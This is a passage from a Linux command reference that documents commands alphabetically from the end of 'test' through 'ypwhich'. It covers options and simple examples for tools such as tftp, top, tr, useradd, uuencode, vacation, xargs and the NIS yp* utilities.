-t [file-descriptor]

Is the file associated with file-descriptor (or 1, standard output, by default) connected to a terminal?

-u

Does the file have the set-user-ID bit set?

-w

Is the file writable by the current user?

-x

Is the file executable?

-O

Is the file owned by the process's effective user ID?

-G

Is the file owned by the process's effective group ID?

File comparisons

The syntax for file comparisons is test file1 option file2. A string by itself, without options, returns true if it's at least one character long.

-nt

Is file1 newer than file2? Check modification, not creation, date.

-ot

Is file1 older than file2? Check modification, not creation, date.

-ef

Do the files have identical device and inode numbers?

String tests

The syntax for string tests is test option string.

-z

Is the string 0 characters long?

-n

Is the string at least 1 character long?

= string

Are the two strings equal?

!= string

Are the strings unequal?

Expression tests

Note that an expression can consist of any of the previous tests.

! expression

Is the expression false?

expression -a expression

Are the expressions both true?

expression -o expression

Is either expression true?

Integer tests

The syntax for integer tests is test integer1 option integer2. You may substitute -l string for an integer; this evaluates to string's length.

-eq

Are the two integers equal?

-ne

Are the two integers unequal?

-lt

Is integer1 less than integer2?

-le

Is integer1 less than or equal to integer2?

-gt

Is integer1 greater than integer2?

-ge

Is integer1 greater than or equal to integer2?

tftp

tftp [host [port]]

User interface to the TFTP (Trivial File Transfer Protocol), which allows users to transfer files to and from a remote machine. The remote host may be specified, in which case tftp uses host as the default host for future transfers.

Commands

Once tftp is running, it issues the prompt:

tftp>

and recognizes the following commands:

? [command-name...]

Print help information.

ascii

Shorthand for mode ASCII.

binary

Shorthand for mode binary.

connect hostname [port]

Set the hostname, and optionally the port, for transfers.

get filename
get remotename localname
get filename1 filename2 filename3...filenameN

Get a file or set of files from the specified remote sources.

mode transfer-mode

Set the mode for transfers. transfer-mode may be ASCII or binary. The default is ASCII.

put filename
put localfile remotefile
put filename1 filename2...filenameN remote-directory

Transfer a file or set of files to the specified remote file or directory.

quit

Exit tftp.

rexmt retransmission-timeout

Set the per-packet retransmission timeout, in seconds.

status

Print status information: whether tftp is connected to a remote host (i.e., whether a host has been specified for the next connection), the current mode, whether verbose and tracing modes are on, and the values for retransmission timeout and total transmission timeout.

timeout total-transmission-timeout

Set the total transmission timeout, in seconds.

trace

Toggle packet tracing.

verbose

Toggle verbose mode.

tftpd

tftpd [homedir]

TCP/IP command. Trivial File Transfer Protocol server. tftpd is normally started by inetd and operates at the port indicated in the tftp Internet service description in the /etc/inetd.conf file. By default, the entry for tftpd in /etc/inetd.conf is commented out; the comment character must be deleted to make tfptd operational. Before responding to a request, the server attempts to change its current directory to homedir; the default value is tftpboot.

tload

tload [options] [tty]

Display system load average in graph format. If tty is specified, print it to that tty.

Options

-d delay

Specify the delay, in seconds, between updates.

-s scale

Specify scale (number of characters between each graph tick). A smaller number results in a larger scale.

top

top [options]

Provide information (frequently refreshed) about the most CPU-intensive processes currently running. See ps for explanations of the field descriptors.

Options

-b

Run in batch mode; don't accept command-line input. Useful for sending output to another command or to a file.

-c

Show command line in display instead of just command name.

-d delay

Specify delay between refreshes.

-i

Suppress display of idle and zombie processes.

-n num

Update display num times, then exit.

-p pid

Monitor only processes with the specified process ID.

-q

Refresh without any delay. If user is privileged, run with highest priority.

-s

Secure mode. Disable some (dangerous) interactive commands.

-S

Cumulative mode. Print total CPU time of each process, including dead child processes.

Interactive commands

space

Update display immediately.

c

Toggle display of command name or full command line.

f, F

Add fields to display or remove fields from the display.

h, ?

Display help about commands and the status of secure and cumulative modes.

k

Prompt for process ID to kill and signal to send (default is 15) to kill it.

i

Toggle suppression of idle and zombie processes.

l

Toggle display of load average and uptime information.

m

Toggle display of memory information.

n, #

Prompt for number of processes to show. If 0 is entered, show as many as will fit on the screen (default).

o, O

Change order of displayed fields.

q

Exit.

r

Apply renice to a process. Prompt for PID and renice value. Suppressed in secure mode.

s

Change delay between refreshes. Prompt for new delay time, which should be in seconds. Suppressed in secure mode.

t

Toggle display of processes and CPU states information.

A

Sort by age, with newest first.

^L

Redraw screen.

M

Sort tasks by resident memory usage.

N

Sort numerically by process ID.

P

Sort tasks by CPU usage (default).

S

Toggle cumulative mode. (See the -S option.)

T

Sort tasks by time/cumulative time.

W

Write current setup to ~/.toprc. This is the recommended way to write a top configuration file.

touch

touch [options] files

For one or more files, update the access time and modification time (and dates) to the current time and date. touch is useful in forcing other commands to handle files a certain way; e.g., the operation of make, and sometimes find, relies on a file's access and modification time. If a file doesn't exist, touch creates it with a filesize of 0.

Options

-a, --time=atime, --time=access, --time=use

Update only the access time.

-c, --no-create

Do not create any file that doesn't already exist.

-d time, --date time

Change the time value to the specified time instead of the current time. time can use several formats and may contain month names, time zones, a.m. and p.m. strings, as well as others.

-m, --time=mtime, --time=modify

Update only the modification time.

-r file, --reference file

Change times to be the same as those of the specified file, instead of the current time.

-t time

Use the time specified in time instead of the current time. This argument must be of the format: [[cc]yy]mmddhhmm[.ss], indicating optional century and year, month, date, hours, minutes, and optional seconds.

--help

Print help message and then exit.

--version

Print the version number and then exit.

tr

tr [options] [string1 [string2]]

Translate characters -- copy standard input to standard output, substituting characters from string1 to string2 or deleting characters in string1.

Options

-c, --complement

Complement characters in string1 with respect to ASCII 001-377.

-d, --delete

Delete characters in string1 from output.

-s, --squeeze-repeats

Squeeze out repeated output characters in string2.

-t, --truncate-set1

Truncate string1 to the length of string2 before translating.

--help

Print help message and then exit.

--version

Print the version number and then exit.

Special characters

Include brackets ([]) where shown.

\a

^G (bell)

\b

^H (backspace)

\f

^L (form feed)

\n

^J (newline)

\r

^M (carriage return)

\t

^I (tab)

\v

^K (vertical tab)

\nnn

Character with octal value nnn.

\\

Literal backslash.

char1-char2

All characters in the range char1 through char2. If char1 does not sort before char2, produce an error.

[char1-char2]

Same as char1-char2 if both strings use this.

[char*]

In string2, expand char to the length of string1.

[char*number]

Expand char to number occurrences. [x*4] expands to xxxx, for instance.

[:class:]

Expand to all characters in class, where class can be:

alnum

Letters and digits

alpha

Letters

blank

Whitespace

cntrl

Control characters

digit

Digits

graph

Printable characters except space

lower

Lowercase letters

print

Printable characters

punct

Punctuation

space

Whitespace (horizontal or vertical)

upper

Uppercase letters

xdigit

Hexadecimal digits

[=char=]

The class of characters in which char belongs.

Examples

Change uppercase to lowercase in a file:

cat file | tr '[A-Z]' '[a-z]'

Turn spaces into newlines (ASCII code 012):

tr ' ' '\012' < file

Strip blank lines from file and save in new.file (or use 011 to change successive tabs into one tab):

cat file | tr -s "" "\012" > new.file

Delete colons from file; save result in new.file:

tr -d : < file > new.file
traceroute

traceroute [options] host [packetsize]

TCP/IP command. Trace route taken by packets to reach network host. traceroute attempts tracing by launching UDP probe packets with a small TTL (time to live), then listening for an ICMP "time exceeded" reply from a gateway. host is the destination hostname or the IP number of host to reach. packetsize is the packet size in bytes of the probe datagram. Default is 38 bytes.

Options

-d

Turn on socket-level debugging.

-g addr

Enable the IP LSRR (Loose Source Record Route) option in addition to the TTL tests, to ask how someone at IP address addr can reach a particular target.

-l

Include the time-to-live value for each packet received.

-m max_ttl

Set maximum time-to-live used in outgoing probe packets to max-ttl hops. Default is 30 hops.

-n

Show numerical addresses; do not look up hostnames. (Useful if DNS is not functioning properly.)

-p port

Set base UDP port number used for probe packets to port. Default is (decimal) 33434.

-q n

Set number of probe packets for each time-to-live setting to the value n. Default is 3.

-r

Bypass normal routing tables and send directly to a host on an attached network.

-s src_addr

Use src_addr as the IP address that will serve as the source address in outgoing probe packets.

-t tos

Set the type-of-service in probe packets to tos (default 0). The value must be a decimal integer in the range 0 to 255.

-v

Verbose -- received ICMP packets (other than TIME_EXCEEDED and PORT_UNREACHABLE) will be listed.

-w wait

Set time to wait for a response to an outgoing probe packet to wait seconds (default is 3 seconds).

troff

troff

See groff.

true

true

A null command that returns a successful (0) exit status. See also false.

tune2fs

tune2fs [options] device

System administration command. Tune the parameters of a Linux Second Extended Filesystem by adjusting various parameters. You must specify the device on which the filesystem resides; it must not be mounted read/write when you change its parameters.

Options

-c mount-counts

Specify the maximum number of mount counts between two checks on the filesystem.

-e behavior

Specify the kernel's behavior when encountering errors. behavior must be one of:

continue

Continue as usual.

remount-ro

Remount the offending filesystem in read-only mode.

panic

Cause a kernel panic.

-g group

Allow group (a group ID or name) to use reserved blocks.

-i interval[d|w|m]

Specify the maximum interval between filesystem checks. Units may be in days (d), weeks (w), or months (m). If interval is 0, checking will not be time-dependent.

-l

Display a list of the superblock's contents.

-m percentage

Specify the percentage of blocks that will be reserved for use by privileged users.

-r num

Specify the number of blocks that will be reserved for use by privileged users.

-u user

Allow user (a user ID or name) to use reserved blocks.

tunelp

tunelp device [options]

System administration command. Control a lineprinter's device parameters. Without options, print information about device(s).

Options

-a [on|off]

Specify whether or not to abort if the printer encounters an error. By default, do not abort.

-c n

Retry device n times if it refuses a character. (Default is 250.) After exhausting n, sleep before retrying.

-i irq

Use irq for specified parallel port. Ignore -t and -c. If 0, restore noninterrupt driven (polling) action.

-o [on|off]

Specify whether to abort if device is not online or is out of paper.

-q [on|off]

Specify whether to print current IRQ setting.

-r

Reset port.

-s

Display printer's current status.

-t time

Specify a delay of time in jiffies to sleep before resending a refused character to the device. A jiffy is defined as either one tick of the system clock or one AC cycle time; it should be approximately 1/100th of a second.

-w time

Specify a delay of time in jiffies to sleep before resending a strobe signal.

-C [on|off]

Specify whether to be extremely careful in checking for printer error.

ul

ul [options] [names]

Translate underscores to underlining. The correct sequence with which to do this will vary by terminal type. Some terminals are unable to handle underlining.

Options

-i

Translate -, when on a separate line, to underline, instead of translating underscores.

-t terminal-type

Specify terminal type. By default, TERM is consulted.

umount

umount [options] [special-device/directory]

System administration command. Unmount a filesystem. umount announces to the system that the removable file structure previously mounted on device special-device is to be removed. umount also works by specifying the directory. Any pending I/O for the filesystem is completed, and the file structure is flagged as clean.

Options

-a

Unmount all filesystems that are listed in /etc/mtab.

-n

Unmount, but do not record changes in /etc/mtab.

-t type

Unmount only filesystems of type type.

uname

uname [options]

Print information about the machine and operating system. Without options, print the name of the operating system (Linux).

Options

-a, --all

Combine all the system information from the other options.

-m, --machine

Print the hardware the system is running on.

-n, --nodename

Print the machine's hostname.

-r, --release

Print the release number of the kernel.

-s, --sysname

Print the name of the operating system (Linux).

-p, --processor

Print the type of processor (not available on all versions).

-v

Print build information about the kernel.

--help

Display a help message and then exit.

--version

Print version information and then exit.

uncompress

uncompress [options] files

Uncompress files that were compressed (i.e., whose names end in .Z). See compress for the available options; uncompress takes all the same options except -r and -b.

unexpand

unexpand [options] [files]

Convert strings of initial whitespace, consisting of at least two spaces and/or tabs to tabs. Read from standard input if given no file or a file named -.

Options

-a, --all

Convert all, not just initial, strings of spaces and tabs.

-nums, -t nums, --tabs nums

nums is a comma-separated list of integers that specify the placement of tab stops. If a single integer is provided, the tab stops are set to every integer spaces. By default, tab stops are 8 spaces apart. With -t and --tabs, the list may be separated by whitespace instead of commas. This option implies -a.

--help

Print help message and then exit.

--version

Print the version number and then exit.

uniq

uniq [options] [file1 [file2]]

Remove duplicate adjacent lines from sorted file1, sending one copy of each line to file2 (or to standard output). Often used as a filter. Specify only one of -d or -u. See also comm and sort.

Options

-n, -f n, --skip-fields=n

Ignore first n fields of a line. Fields are separated by spaces or by tabs.

+n, -s n, --skip-chars=n

Ignore first n characters of a field.

-c, --count

Print each line once, prefixing number of instances.

-d, --repeated

Print duplicate lines once but no unique lines.

-i, --ignore-case

Ignore case differences when checking for duplicates.

-u, --unique

Print only unique lines (no copy of duplicate entries is kept).

-w n, --check-chars=n

Compare only first n characters per line (beginning after skipped fields and characters).

--help

Print a help message and then exit.

--version

Print version information and then exit.

Examples

Send one copy of each line from list to output file list.new:

uniq list list.new

Show which names appear more than once:

sort names | uniq -d
unshar

unshar [options] [files]

Unpack a shell archive (shar file). unshar scans mail messages looking for the start of a shell archive. It then passes the archive through a copy of the shell to unpack it. unshar accepts multiple files. If no files are given, standard input is used.

Options

-c, --overwrite

Overwrite existing files.

-d directory, --directory=directory

Change to directory before unpacking any files.

-e, --exit-0

Sequentially unpack multiple archives stored in same file; uses clue that many shar files are terminated by an exit 0 at the beginning of a line. (Equivalent to -E "exit 0".)

-E string, --split-at=string

Like -e, but allows you to specify the string that separates archives.

-f, --force

Same as -c.

--help

Print help message and then exit.

--version

Print the version number and then exit.
update

update [options]

System administration command. update is a daemon that controls how often the kernel's disk buffers are flushed to disk. update is also known as bdflush. The daemon forks a couple of processes to call system functions flush() and sync(). When called by an unprivileged user, no daemon is created. Instead, update calls sync() and then exits. By default, update will wake up every 5 seconds and flush() some dirty buffers. If that doesn't work, it will try waking up every 30 seconds to sync() the buffers to disk. Not all of the listed options are available in every version of update.

Options

-d

Display the kernel parameters. This does not start the update daemon.

-f seconds

Call flush() at this interval. Default is 5.

-h

Help. Print a command summary.

-s seconds

Call sync() at this interval. Default is 30.

-S

Always use sync() instead of flush.

-0 percent

Flush buffers when the specified percent of the buffer cache is dirty.

-1 blocks

The maximum number of dirty blocks to write out per wake cycle.

-2 buffers

The number of clean buffers to try to obtain each time the free buffers are refilled.

-3 blocks

Flush buffers if dirty blocks exceed blocks when trying to refill the buffers.

-4 percent

Percent of buffer cache to scan when looking for free clusters.

-5 seconds

Time for a data buffer to age before being flushed.

-6 seconds

Time for a nondata buffer to age before being flushed.

-7 constant

The time constant to use for load average.

-8 ratio

How low the load average can be before trimming back the number of buffers.

uptime

uptime

Print the current time, amount of time logged in, number of users currently logged in (which may include the same user multiple times), and system load averages. This output is also produced by the first line of the w command.

useradd

useradd [options] [user]

System administration command. Create new user accounts or update default account information. Unless invoked with the -D option, user must be given. useradd will create new entries in system files. Home directories and initial files may also be created as needed.

Options

-c comment

Comment field.

-d dir

Home directory. The default is to use user as the directory name under the home directory specified with the -D option.

-e date

Account expiration date. date is in the format MM/DD/YYYY. Two-digit year fields are also accepted. The value is stored as the number of days since January 1, 1970. This option requires the use of shadow passwords.

-f days

Permanently disable account this many days after the password has expired. A value of -1 disables this feature. This option requires the use of shadow passwords.

-g group

Initial group name or ID number. If a different default group has not been specified using the -D option, the default group is 1.

-G groups

Supplementary groups given by name or number in a comma-separated list with no whitespace.

-k [dir]

Copy default files to user's home directory. Meaningful only when used with the -m option. Default files are copied from /etc/skel/ unless an alternate dir is specified.

-m

Make user's home directory if it does not exist. The default is not to make the home directory.

-o

Override. Accept a nonunique uid with the -u option. (Probably a bad idea.)

-s shell

Login shell.

-u uid

Numerical user ID. The value must be unique unless the -o option is used. The default value is the smallest ID value greater than 99 and greater than every other uid.

-D [options]

Set or display defaults. If options are specified, set them. If no options are specified, display current defaults. The options are:

-b dir

Home directory prefix to be used in creating home directories. If the -d option is not used when creating an account, the user name will be appended to dir.

-e date

Expire date. Requires the use of shadow passwords.

-f days

Number of days after a password expires to disable an account. Requires the use of shadow passwords.

-g group

Initial group name or ID number.

-s shell

Default login shell.

userdel

userdel [option] user

System administration command. Delete all entries for user in system account files.

Option

-r

Remove the home directory of user and any files contained in it.

usermod

usermod [options] user

System administration command. Modify user account information.

Options

-c comment

Comment field.

-d dir

Home directory.

-e date

Account expiration date. date is in the format MM/DD/YYYY. Two-digit year fields are also accepted, but the value is stored as the number of days since January 1, 1970. This option requires the use of shadow passwords.

-f days

Permanently disable account this many days after the password has expired. A value of -1 disables this feature. This option requires the use of shadow passwords.

-g group

Initial group name or number.

-G groups

Supplementary groups given by name or number in a comma-separated list with no whitespace. user will be removed from any groups to which they currently belong that are not included in groups.

-l name

Login name. This cannot be changed while the user is logged in.

-o

Override. Accept a nonunique uid with the -u option.

-s shell

Login shell.

-u uid

Numerical user ID. The value must be unique unless the -o option is used. Any files owned by user in the user's home directory will have their user ID changed automatically. Files outside of the home directory will not be changed. user should not be executing any processes while this is changed.

users

users [file]

Print a space-separated list of each login session on the host. Note that this may include the same user multiple times. Consult file or, by default, /etc/utmp.

usleep

usleep [microseconds]

usleep [options]

Sleep some number of microseconds (default is 1).

Options

--help

Print help information and then exit.

--usage

Print usage message and then exit.

-v, --version

Print version information.

uudecode

uudecode [-o outfile] [file]

Read a uuencoded file and re-create the original file with the permissions and name set in the file (see uuencode). The -o option specifies an alternate output file.

uuencode

uuencode [-m] [file] name

Encode a binary file. The encoding uses only printable ASCII characters and includes the permissions and name of the file. When file is reconverted via uudecode, the output is saved as name. If the file argument is omitted, uuencode can take standard input, so a single argument is taken as the name to be given to the file when it is decoded. With the -m option, base64 encoding is used.

Example

It's common to encode a file and save it with an identifying extension, such as .uue. This example encodes the binary file flower12.jpg, names it rose.jpg, and saves it to a .uue file:

% uuencode flower12.jpg rose.jpg > rose.uue

Encode flower12.jpg and mail it:

% uuencode flower12.jpg flower12.jpg | mail ellen@oreilly.com

vacation

vacation

vacation [options] [user]

Automatically return a mail message to the sender announcing that you are on vacation.

Use vacation with no options to initialize the vacation mechanism. The process performs several steps.

  1. Creates a .forward file in your home directory. The .forward file contains:

    \user, "|/usr/bin/vacation user"

    user is your login name. The action of this file is to actually deliver the mail to user (i.e., you) and to run the incoming mail through vacation.

  2. Creates the .vacation.pag and .vacation.dir files. These files keep track of who has sent you messages, so that they receive only one "I'm on vacation" message from you per week.

  3. Starts an editor to edit the contents of .vacation.msg. The contents of this file are mailed back to whomever sends you mail. Within its body, $subject is replaced with the contents of the incoming message's Subject line.

Remove or rename the .forward file to disable vacation processing.

Options

The -a and -r options are used within a .forward file; see the example.

-a alias

Mail addressed to alias is actually mail for the user and should produce an automatic reply.

-i

Reinitialize the .vacation.pag and .vacation.dir files. Use this right before leaving for your next vacation.

-r interval

By default, no more than one message per week is sent to any sender. This option changes that interval. interval is a number with a trailing s, m, h, d, or w indicating seconds, minutes, hours, days, or weeks, respectively. If interval is infinite, only one reply is sent to each sender.

Example

Send no more than one reply every three weeks to any given sender:

$ cd
$ vacation -I
$ cat .forward
\jp, "|/usr/bin/vacation -r3w jp"
$ cat .vacation.msg
From: jp@wizard-corp.com (J. Programmer, via the vacation program)
Subject: I'm out of the office ...

Hi. I'm off on a well-deserved vacation after finishing
up whizprog 1.0. I will read and reply to your mail
regarding "$SUBJECT" when I return.

Have a nice day.

vi

vi [options] [files]

A screen-oriented text editor based on ex. For more information on vi, see Chapter 11, "The vi Editor".

vidmode

vidmode [option] image [mode [offset]]

System administration command. Sets the video mode for a kernel image. If no arguments are specified, print current mode value. mode is a 1-byte value located at offset 506 in a kernel image. You may change the mode by specifying the kernel image to change, the new mode, and the byte offset at which to place the new information (the default is 506). Note that rdev -v is a synonym for vidmode. If LILO is used, vidmode is not needed. The video mode can be set from the LILO prompt during a boot.

Modes

-3

Prompt

-2

Extended VGA

-1

Normal VGA

0

Same as entering 0 at the prompt

1

Same as entering 1 at the prompt

2

Same as entering 2 at the prompt

3

Same as entering 3 at the prompt

n

Same as entering n at the prompt

Option

-o offset

Same as specifying an offset as an argument.

w

w [options] [user]

Print summaries of system usage, currently logged-in users, and what they are doing. w is essentially a combination of uptime, who, and ps -a. Display output for one user by specifying user.

Options

-f

Toggle printing the from (remote hostname) field.

-h

Suppress headings and uptime information.

-s

Use the short format.

-u

Ignore the username while figuring out the current process and CPU times.

-V

Display version information.

File

/var/run/utmp

List of users currently logged on.

wall

wall [file]

System administration command. Write to all users. wall reads a message from the standard input until an end-of-file. It then sends this message to all users currently logged in, preceded by "Broadcast Message from..." If file is specified, read input from that, rather than from standard input.

wc

wc [options] [files]

Print character, word, and line counts for each file. Print a total line for multiple files. If no files are given, read standard input. See other examples under ls and sort.

Options

-c, -bytes, --chars

Print character count only.

-l, --lines

Print line count only.

-w, --words

Print word count only.

--help

Print help message and then exit.

--version

Print the version number and then exit.

Examples

Count the number of users logged in:

who | wc -l

Count the words in three essay files:

wc -w essay.[123]

Count lines in the file named by variable $file (don't display filename):

wc -l < $file
whatis

whatis keywords

Search the short manual page descriptions in the whatis database for each keyword and print a one-line description to standard output for each match. Like apropos, except that it only searches for complete words. Equivalent to man -f.

whereis

whereis [options] files

Locate the binary, source, and manual page files for specified commands/files. The supplied filenames are first stripped of leading pathname components and any (single) trailing extension of the form .ext (for example, .c). Prefixes of s. resulting from use of source code control are also dealt with. whereis then attempts to locate the desired program in a list of standard Linux directories (e.g., /bin, /etc, /usr/bin, /usr/local/bin/, etc.).

Options

-b

Search only for binaries.

-f

Terminate the last directory list and signal the start of filenames; required when any of the -B, -M, or -S options are used.

-m

Search only for manual sections.

-s

Search only for sources.

-u

Search for unusual entries, that is, files that do not have one entry of each requested type. Thus, the command whereis -m -u * asks for those files in the current directory that have no documentation.

-B directories

Change or otherwise limit the directories to search for binaries.

-M directory

Change or otherwise limit the directories to search for manual sections.

-S directory

Change or otherwise limit the directories to search for sources.

Example

Find all files in /usr/bin that are not documented in /usr/man/man1 but that have source in /usr/src:

% cd /usr/bin
% whereis -u -M /usr/man/man1 -S /usr/src -f *

which

which [options] [--] [command] [...]

List the full pathnames of the files that would be executed if the named commands had been run. which searches the user's $PATH environment variable. The C shell and tcsh have a built-in which command that has no options. To use the options, specify the full pathname (e.g., /usr/bin/which).

Options

-a, --all

Print all matches, not just the first.

-i, --read-alias

Read aliases from standard input and write matches to standard output. Useful for using an alias for which.

--skip-alias

Ignore --read-alias if present. Useful for finding normal binaries while using --read-alias in an alias for which.

--skip-dot

Skip directories that start with a dot.

--skip-tilde

Skip directories that start with a tilde (~) and executables in $HOME.

--show-dot

If a matching command is found in a directory that starts with a dot, print ./cmdname instead of the full pathname.

--show-tilde

Print a tilde (~) to indicate the user's home directory. Ignored if the user is root.

--tty-only

Stop processing options on the right if not on a tty.

-v, -V, --version

Print version information and then exit.

Example

$ which cc ls
/usr/bin/cc
ls:      aliased to ls -sFC
who

who [options] [file]

who am i

Show who is logged in to the system. With no options, list the names of users currently logged in, their terminal, the time they have been logged in, and the name of the host from which they have logged on. An optional system file (default is /etc/utmp) can be supplied to give additional information.

Options

am i

Print the username of the invoking user.

--help

Print a help message and then exit.

-i, -u, --idle

Include idle times. An idle time of . indicates activity within the last minute; one of old indicates no activity in more than a day.

-l, --lookup

Attempt to include canonical hostnames via DNS.

-m

Same as who am i.

-q, --count

"Quick." Display only the usernames and total number of users.

--version

Print version information and then exit.

-w, -T, --mesg, --message, --writable

Include user's message status:

+

mesg y (write messages allowed)

-

mesg n (write messages refused)

?

Cannot find terminal device

-H, --heading

Print headings.

Example

This sample output was produced at 8 a.m. on April 17:

$ who -uH
NAME    LINE   TIME         IDLE   PID  COMMENTS
Earvin  ttyp3  Apr 16 08:14 16:25  2240
Larry   ttyp0  Apr 17 07:33   .   15182

Since Earvin has been idle since yesterday afternoon (16 hours), it appears that he isn't at work yet. He simply left himself logged in. Larry's terminal is currently in use.

whoami

whoami

Print current user ID. Equivalent to id -un.

write

write user [tty]

message

Initiate or respond to an interactive conversation with user. A write session is terminated with EOF. If the user is logged in to more than one terminal, specify a tty number. See also talk; use mesg to keep other users from writing to your terminal.

xargs

xargs [options] [command]

Execute command (with any initial arguments), but read remaining arguments from standard input instead of specifying them directly. xargs passes these arguments in several bundles to command, allowing command to process more arguments than it could normally handle at once. The arguments are typically a long list of filenames (generated by ls or find, for example) that get passed to xargs via a pipe.

Options

-0, --null

Expect filenames to be terminated by NULL instead of whitespace. Do not treat quotes or backslashes specially.

-e[string], --eof[=string]

Set EOF to _ or, if specified, to string.

--help

Print a summary of the options to xargs and then exit.

-i[string], --replace[=string]

Edit all occurrences of {}, or string, to the names read in on standard input. Unquoted blanks are not considered argument terminators. Implies -x and -l 1.

-l[lines], --max-lines[=lines]

Allow no more than 1, or lines, nonblank input lines on the command line. Implies -x.

-n args, --max-args=args

Allow no more than args arguments on the command line. May be overridden by -s.

-p, --interactive

Prompt for confirmation before running each command line. Implies -t.

-P max, --max-procs=max

Allow no more than max processes to run at once. The default is 1. A maximum of 0 allows as many as possible to run at once.

-r, --no-run-if-empty

Do not run command if standard input contains only blanks.

-s max, --max-chars=max

Allow no more than max characters per command line.

-t, --verbose

Verbose mode. Print command line on standard error before executing.

-x, --exit

If the maximum size (as specified by -s) is exceeded, exit.

--version

Print the version number of xargs and then exit.

Examples

grep for pattern in all files on the system:

find / -print | xargs grep pattern > out &

Run diff on file pairs (e.g., f1.a and f1.b, f2.a and f2.b ...):

echo $* | xargs -n2 diff

The previous line would be invoked as a shell script, specifying filenames as arguments. Display file, one word per line (same as deroff -w):

cat file | xargs -n1

Move files in olddir to newdir, showing each command:

ls olddir | xargs -i -t mv olddir/{} newdir/{}
yacc

yacc [options] file

Given a file containing context-free grammar, convert file into tables for subsequent parsing and send output to y.tab.c. This command name stands for yet another compiler-compiler. See also flex, bison, and lex & yacc by John Levine, Tony Mason, and Doug Brown.

Options

-b prefix

Prepend prefix, instead of y, to the output file.

-d

Generate y.tab.h, producing #define statements that relate yacc's token codes to the token names declared by the user.

-l

Exclude #line constructs from code produced in y.tab.c. (Use after debugging is complete.)

-t

Compile runtime debugging code.

-v

Generate y.output, a file containing diagnostics and notes about the parsing tables.

yes

yes [strings]

yes [option]

Print the command-line arguments, separated by spaces and followed by a newline, until killed. If no arguments are given, print y followed by a newline until killed. Useful in scripts and in the background; its output can be piped to a program that issues prompts.

Options

--help

Print a help message and then exit.

--version

Print version information and then exit.

ypbind

ypbind [options]

NFS/NIS command. NIS binder process. ypbind is a daemon process typically activated at system startup time. Its function is to remember information that lets client processes on a single node communicate with some ypserv process. The information ypbind remembers is called a binding -- the association of a domain name with the Internet address of the NIS server and the port on that host at which the ypserv process is listening for service requests. This information is cached in the file /var/yp/bindings/domainname.version.

Options

-ypset

May be used to change the binding. This option is very dangerous and should be used only for debugging the network from a remote machine.

-ypsetme

ypset requests may be issued from this machine only. Security is based on IP address checking, which can be defeated on networks on which untrusted individuals may inject packets. This option is not recommended.

ypcat

ypcat [options] mname

NFS/NIS command. Print values in an NIS database specified by mname, which may be either a map name or a map nickname.

Options

-d domain

Specify domain other than default domain.

-k

Display keys for maps in which values are null or key is not part of value.

-t

Do not translate mname to map name.

-x

Display map nickname table listing the nicknames (mnames) known and map name associated with each nickname. Do not require an mname argument.

ypchfn

ypchfn [option] [user]

NFS/NIS command. Change your information stored in /etc/passwd and displayed when you are fingered; distribute the change over NIS. Without options, ypchfn enters interactive mode and prompts for changes. To make a field blank, enter the keyword none. The superuser can change the information for any user. See also yppasswd and ypchsh.

Options

-f

Behave like ypchfn (default).

-l

Behave like ypchsh.

-p

Behave like yppasswd.

ypchsh

ypchsh [option] [user]

NFS/NIS command. Change your login shell and distribute this information over NIS. Warn if shell does not exist in /etc/shells. The superuser can change the shell for any user. See also yppasswd and ypchfn.

Options

-f

Behave like ypchfn.

-l

Behave like ypchsh (default).

-p

Behave like yppasswd.

ypinit

ypinit [options]

NFS/NIS command. Build and install an NIS database on an NIS server. ypinit can be used to set up a master or a slave server or slave copier. Only a privileged user can run ypinit.

Options

-c master_name

Set up a slave copier database. master_name should be the hostname of an NIS server, either the master server for all the maps or a server on which the database is up-to-date and stable.

-m

Indicates that the local host is to be the NIS server.

-s master_name

Set up a slave server database. master_name should be the hostname of an NIS server, either the master server for all the maps or a server on which the database is up-to-date and stable.

ypmatch

ypmatch [options] key...mname

NFS/NIS command. Print value of one or more keys from an NIS map specified by mname. mname may be either a map name or a map nickname.

Options

-d domain

Specify domain other than default domain.

-k

Before printing value of a key, print key itself, followed by a colon (:).

-t

Do not translate nickname to map name.

-x

Display map nickname table listing the nicknames (mnames) known, and map name associated with each nickname. Do not require an mname argument.

yppasswd

yppasswd [option] [name]

NFS/NIS command. Change login password in Network Information Service. Create or change your password, and distribute the new password over NIS. The superuser can change the password for any user. See also ypchfn and ypchsh.

Options

-f

Behave like ypchfn.

-l

Behave like ypchsh.

-p

Behave like yppasswd (default).

yppasswdd

rpc.yppasswdd [option]

NFS/NIS command. Server for modifying the NIS password file. yppasswdd handles password change requests from yppasswd. It changes a password entry only if the password represented by yppasswd matches the encrypted password of that entry and if the user ID and group ID match those in the server's /etc/passwd file. Then it updates /etc/passwd and the password maps on the local server.

Option

-s

Support shadow password functions.

yppoll

yppoll [options] mapname

NFS/NIS command. Determine version of NIS map at NIS server. yppoll asks a ypserv process for the order number and the hostname of the master NIS server for the named map.

Options

-h host

Ask the ypserv process at host about the map parameters. If host is not specified, the hostname of the NIS server for the local host (the one returned by ypwhich) is used.

-d domain

Use domain instead of the default domain.

yppush

yppush [options] mapnames

NFS/NIS command. Force propagation of changed NIS map. yppush copies a new version of an NIS map, mapname, from the master NIS server to the slave NIS servers. It first constructs a list of NIS server hosts by reading the NIS map ypservers with the -d option's domain argument. Keys within this map are the ASCII names of the machines on which the NIS servers run. A "transfer map" request is sent to the NIS server at each host, along with the information needed by the transfer agent to call back the yppush. When the attempt has been completed and the transfer agent has sent yppush a status message, the results may be printed to stdout. Normally invoked by /var/yp/Makefile.

Options

-d domain

Specify a domain.

-v

Verbose -- print message when each server is called and for each response.

ypserv

ypserv [options]

NFS/NIS command. NIS server process. ypserv is a daemon process typically activated at system startup time. It runs only on NIS server machines with a complete NIS database. Its primary function is to look up information in its local database of NIS maps. The operations performed by ypserv are defined for the implementor by the NIS protocol specification and for the programmer by the header file <rpcvc/yp_prot.h>. Communication to and from ypserv is by means of RPC calls.

Options

-d

NIS service should go to the DNS for more host information.

-localonly

Indicates ypserv should not respond to outside requests.

Files and directories

/var/yp/[domainname]/

Location of NIS databases.

/var/yp/Makefile

Makefile that is responsible for creating NIS databases.

ypset

ypset [options] server

NFS/NIS command. Point ypbind at a particular server. ypset tells ypbind to get NIS services for the specified domain from the ypserv process running on server. server indicates the NIS server to bind to and can be specified as a name or an IP address.

Options

-d domain

Use domain instead of the default domain.

-h host

Set ypbind's binding on host, instead of locally. host can be specified as a name or an IP address.

ypwhich

ypwhich [options] [host]

NFS/NIS command. Return hostname of NIS server or map master. Without arguments, ypwhich cites the NIS server for the local machine. If host is specified, that machine is queried to find out which NIS master it is using.

Options

-d domain

Use domain instead of the default domain.

-m map

